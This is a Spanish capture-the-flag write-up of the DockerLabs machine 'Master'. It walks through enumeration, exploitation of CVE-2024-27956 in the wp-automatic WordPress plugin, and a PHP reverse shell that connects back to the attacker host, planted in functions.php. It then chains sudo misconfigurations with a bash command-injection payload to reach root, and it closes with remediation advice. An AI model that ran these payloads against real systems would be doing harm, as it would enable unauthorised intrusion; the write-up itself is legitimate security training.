Skip to content

Master

This content is not available in your language yet.

Este documento presenta la resolución completa de la máquina Master, desarrollada por Pylon & El Pingüino de Mario para la plataforma DockerLabs, clasificada con una dificultad Media.

El objetivo del laboratorio es comprometer un servidor WordPress vulnerable mediante la enumeración del servicio web, la identificación de un plugin desactualizado con una vulnerabilidad crítica, la obtención de ejecución remota de comandos desde el panel administrativo y una cadena de escalada de privilegios basada en configuraciones inseguras de sudo y scripts mal implementados.

La metodología empleada se divide en los siguientes pasos:

  1. Reconocimiento: enumeración del servicio HTTP y análisis de componentes del CMS.
  2. Explotación: abuso de una vulnerabilidad crítica en un plugin de WordPress para obtener acceso administrativo y ejecución de código.
  3. Escalada de privilegios: encadenamiento de permisos sudo inseguros hasta obtener acceso como root.

El laboratorio se realizó íntegramente dentro del entorno controlado proporcionado por DockerLabs, con fines exclusivamente educativos.


AtributoValor
NombreMaster
AutorPylon & El Pingüino de Mario
DificultadMedio
Fecha12/05/2024
PlataformaDockerLabs
IP Objetivo172.17.0.2

Se descomprime el archivo de la máquina y se despliega utilizando el script proporcionado:

Ventana de terminal
unzip Master.zip
sudo bash auto_deploy.sh Master.tar

IP asignada

Figura 1: Dirección IP asignada al contenedor

Se prepara una estructura de directorios para organizar el trabajo:

Ventana de terminal
mkdir -p Master/{content,exploits,nmap,scripts}
cd Master

Se realiza un escaneo completo de puertos TCP para identificar los servicios expuestos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos abiertos identificados:

  • 80/tcp — HTTP

Puertos abiertos


Se realiza un escaneo de directorios y archivos utilizando feroxbuster:

Ventana de terminal
feroxbuster -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \
-x php,html,txt,js -t 100 -C 404

No se identifican rutas personalizadas relevantes; únicamente se observan directorios típicos de WordPress. Al revisar la página principal se obtiene el siguiente contenido:

content of index

Un detalle importante es la exposición directa de información sobre los plugins instalados:

interesant content

En este punto se identifica el plugin wp-automatic versión 3.92.0, versión que cuenta con una vulnerabilidad crítica conocida y documentada públicamente.


Tras identificar la versión del plugin wp-automatic, se investiga su estado de seguridad. La versión 3.92.0 es vulnerable a CVE-2024-27956, una vulnerabilidad crítica que permite a un atacante crear usuarios administradores de forma no autenticada.

El plugin wp-automatic no valida correctamente las solicitudes a determinados endpoints internos utilizados para la automatización de contenido. Un atacante puede enviar una petición especialmente diseñada que:

  • Evade los mecanismos de autenticación del plugin.
  • Inserta directamente un nuevo usuario en la base de datos de WordPress.
  • Asigna privilegios de administrador al usuario creado.

Esto permite el acceso completo al panel administrativo (/wp-admin) sin necesidad de credenciales previas, lo que deriva directamente en una ejecución remota de código (RCE) al poder editar archivos del tema activo.

Se utiliza el siguiente exploit público:

URL = CVE-2024-27956 – wp-automatic RCE

Se ejecuta el exploit:

Ventana de terminal
python3 exploit.py http://172.17.0.2/

El exploit se ejecuta correctamente y crea las credenciales administrativas:

eviladmin:admin

Con estas credenciales se accede al panel /wp-admin:

dashboard


Se inicia un listener en la máquina atacante:

Ventana de terminal
nc -nlvp 443

Desde el panel administrativo de WordPress, se accede a:

Appearance → Theme File Editor → functions.php

Se inyecta la siguiente reverse shell en PHP:

$sock=fsockopen("172.17.0.1",443);
$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);

Al guardar los cambios, se obtiene una conexión entrante como el usuario www-data:

reverseshell


Se revisan los permisos de sudo:

sudo -l www-data

El usuario www-data puede ejecutar php como el usuario pylon. Esto permite ejecutar comandos arbitrarios:

Ventana de terminal
sudo -u pylon php -r "system('/bin/bash');"

pylon access


Se revisan nuevamente los permisos sudo:

sudo -l pylon

El usuario pylon puede ejecutar el script pingusorpresita.sh como el usuario mario. El script no sanitiza correctamente la entrada del usuario, lo que permite inyección de comandos.

Ejecutando el script y aprovechando la vulnerabilidad:

Ventana de terminal
sudo -u mario bash /home/mario/pingusorpresita.sh
test[$(/bin/bash >&2)]+1

Se obtiene acceso como mario:

mario access


El usuario mario puede ejecutar el script pylonsorpresita.sh como root:

sudo -l Mario

El script presenta el mismo fallo de validación de entrada, por lo que se reutiliza la técnica anterior:

Ventana de terminal
sudo bash /home/pylon/pylonsorpresita.sh
test[$(/bin/bash >&2)]+1

Esto otorga acceso completo como root:

root access


VulnerabilidadSeveridadImpacto
Plugin WordPress vulnerable (wp-automatic)CríticaCreación de usuarios admin / RCE
Divulgación de versiones de pluginsMediaFacilita explotación dirigida
Ejecución de código desde el panel administrativoAltaCompromiso del servidor web
Permisos sudo mal configuradosCríticaEscalada de privilegios encadenada
Scripts bash sin validación de entradaAltaInyección de comandos

  • Mantener WordPress y plugins actualizados.
  • Evitar la exposición de versiones de componentes internos.
  • Restringir el acceso al editor de archivos desde el panel administrativo.
  • Aplicar el principio de mínimo privilegio en configuraciones de sudo.
  • Validar adecuadamente la entrada de usuario en scripts ejecutados con privilegios elevados.
  • Auditar periódicamente el sistema en busca de configuraciones inseguras.